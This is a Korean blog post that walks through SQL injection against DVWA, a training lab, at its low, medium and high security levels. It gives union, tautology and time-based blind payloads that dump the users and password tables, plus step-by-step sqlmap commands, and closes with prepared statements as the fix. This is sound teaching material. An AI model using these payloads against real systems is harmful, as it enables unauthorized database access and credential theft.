2018. 7. 23.

[DVWA] SQL 인젝션

실습 환경 : KALI + DVWA

1) low


정상적인 ID(1) 를 입력하면 위와 같이 사용자 정보가 출력된다.

그러나 특수문자 (') 를 입력하면 위와 같이 에러페이지가 노출된다.


위와 같이 입력받는 $id 값에 아무런 필터링을 수행하지 않기 때문에 에러를 반환하게 된다. 이는 SQL 쿼리문을 조작할 수 있다는 의미이다.

(sql 은 # 이 주석 나머지는 -- 주석)
1' or '1'='1 을 입력하면 다른 사람의 정보를 확인 할 수 있다.




[칼럼 갯수 알아내기]
1) union 이용
1' union select 1,2# 을 입력한 결과 위와 같은 결과가 출력된다. 칼럼 갯수는 2개로 확인되었다.

2) order by 이용
1' order by 3#
2까지는 에러가 안나오는데 3을 입력하면 에러가 출력된다.

[DB정보 알아내기]

// 데이터베이스 명 조회
1' union select schema_name,1 from information_schema.schemata #


  • ** SQL 문 GITHUB 주소 https://github.com/SecuAcademy/webhacking/blob/master/SQL%EC%9D%B8%EC%A0%9D%EC%85%98%EC%8B%A4%EC%8A%B5.txt



// dvwa 데이터베이스의 테이블 명 조회
1' union select table_schema, table_name from information_schema.tables where table_schema = 'dvwa' #

// users 테이블 칼럼 조회
1' union select table_name, column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users'#

// user와 password 조회
1' union select user,password from users#




[blind sql 인젝션]

에러가 나오지 않지만 1' AND 1=1# 와 1' AND 1=2# 의 결과가 차이가 있다.
시간은 굉장히 오래걸리지만 참 거짓의 명제로 하나하나 찾아볼 수 있다.

참 거짓의 표시 메시지가 완전히 같을 수 있다. 이럴때는 sleep이나 waitfor 등으로 시간으로 판별 할 수 있다.

1' AND Sleep(5)#

Sleep 함수가 적용되는것으로 보아 id가 1인 사용자가 존재하는 것으로 확인

6' AND Sleep(5)#

 
Sleep 함수가 적용되지 않은 것으로 보아 ID가 6 이라는 사용자는 존재하지 않는 것으로 확인

** 쿠키는 개발자도구의 console에서 document.cookie 입력하면 현재 쿠키를 확인 할 수 있다.

sql 인젝션 순서

1. sql 인젝션 공격 취약 여부 확인하기
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=rrps9ocnbe5j8l3n0m6v03v3m2"

2. 현재 데이터 베이스 이름 찾기 
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=rrps9ocnbe5j8l3n0m6v03v3m2" --current-db

3. dvwa 데이터베이스의 테이블 찾기
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=rrps9ocnbe5j8l3n0m6v03v3m2" -D dvwa --table 

4. users 안에 있는 모든 정보 출력하기
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=rrps9ocnbe5j8l3n0m6v03v3m2" -D dvwa -T users --dump 


2) medium




아이디 값이 drop down 메뉴의 1,2,3,4,5 숫자로 되어 있는데 문자로 입력되었기 때문에 발생되는 오류 이다.  ($id를 작은 따옴표로 감싸지 않고 있기 때문에 숫자가 입력되어야 함)

때문에 특수문자를 빼고 1 or 1=1 이라고 입력하면 공격이 성공함

1 union select user,password from users# 와 같은 union 공격도 성공함

3) high

limit 함수로 출력되는 값을 1개로 제한했지만 sql 인젝션 공격을 막을 수 없다.

1' or '1'='1'#  뒤에 구문을 주석처리 하면 된다.



** 동적쿼리 vs 파라미터 쿼리

동적쿼리 

파라미터 쿼리 

prepare 함수에 미리 쿼리문의 형태를 작성하고 ID 부분만 bindParam을 이용해서 지정하게 된다. 이런 경우 db는 어떤것이 코드고 어떤것이 데이터인지 알수 있기 때문에 사용자로 부터 입력받은 값을 온전히 문자열로만 처리하기 때문에 sql 공격을 막을 수 있다. 

php 외에도 java의 preparedStatement 함수, .net sqlcommand 함수를 이용하여 시큐어 코딩을 할 수 있다.

Popular Posts

Recent Posts

Blog Archive

Powered by Blogger.